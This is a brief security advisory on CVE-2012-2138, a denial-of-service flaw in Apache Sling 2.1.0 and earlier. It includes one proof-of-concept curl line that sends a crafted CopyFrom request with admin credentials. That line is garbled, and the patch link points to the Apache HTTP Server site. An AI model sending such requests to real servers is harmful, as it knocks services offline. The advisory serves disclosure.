Apache Sling DoS Vulnerability

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Affected Systems:
Apache Group Sling
Description:
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Bugtraq id: 54341
Cve id: CVE-2012-2138

Apache Sling is an open-source Web framework on the Java platform. It creates content-oriented applications on the JCR content library.

Apache Sling 2.1.0 and earlier versions have a denial of service vulnerability. Attackers can exploit this vulnerability to exhaust available memory, resulting in DOS.

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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Curl-u admin: pwd-d "http://example.com/content/foo ?. /% 40 CopyFrom = ../"

Suggestion:
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Vendor patch:

Apache Group
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The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://httpd.apache.org/